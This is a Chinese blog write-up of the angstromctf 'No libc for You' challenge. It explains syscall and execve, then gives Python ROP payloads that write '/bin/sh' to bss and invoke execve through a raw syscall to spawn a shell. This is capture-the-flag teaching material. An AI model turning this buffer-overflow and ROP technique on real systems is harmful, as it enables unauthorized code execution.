zoukankan      html  css  js  c++  java
  • angstromctf -No libc for You

    0x00 syscall

    syscall函数原型为:
    int syscall(int number, ...)
    其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。

    例如:调用read函数
    syscall(0,0,buf,8) - 0 是系统函数read的调用号,相当于执行read(0,buf,8)

    详细说明:

    Linux系统调用(syscall)原理

    linux 系统调用

    0x01 execve

    execve函数原型
    int execve(const char * filename,char * const argv[ ],char * const envp[ ])
    execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
    
    例如:执行/bin/sh
    execve("/bin/sh",0,0)

     详细说明:

    execve的使用方法

    0x02 No libc for You

    1.思路

    先将/bin/sh写入bss,再通过syscall调用execve('/bin/sh')获得shell

    2.写/bin/sh到bss

    #write_bss    
        payload = "A" * 72
        payload += p64(pop_rdi) + p64(bss_addr)
        payload += p64(gets_addr)
        payload += p64(vuln_addr)
        s.sendline(payload)
        s.sendline("/bin/sh")

    3.调用execve('/bin/sh')

    # get_shell
        payload = "A" * 72
        payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0)
        payload += p64(rsi_ret) + p64(0)
        payload += p64(pop_rdi) + p64(bss_addr)
        payload += p64(syscall)
        s.sendline(payload)

    0x03 新姿势

    1.printf

    函数名   :printf 
    函数原型:int printf (char * format,args,···); 
    功能:按format指向的格式字符串所规定的格式,将输出表列args的值输出到标准输出设备。 
    返回值:输出字符的个数,若出错,则返回负数。 
    说明:format可以是一个字符串,或字符数组的起始地址

    2. linux系统调用

    Linux系统调用函数列表

    LINUX SYSTEM CALL TABLE FOR X86 64

  • 相关阅读:
    MySQL中tinytext、text、mediumtext和longtext详解
    端口冲突
    Form绑定
    Uri绑定
    只绑定Get参数
    Linux:Day4(上) 文件管理、管道
    selenium之frame
    selenium之选项卡管理
    Request
    爬虫常用库
  • 原文地址:https://www.cnblogs.com/elvirangel/p/6917609.html
Copyright © 2011-2022 走看看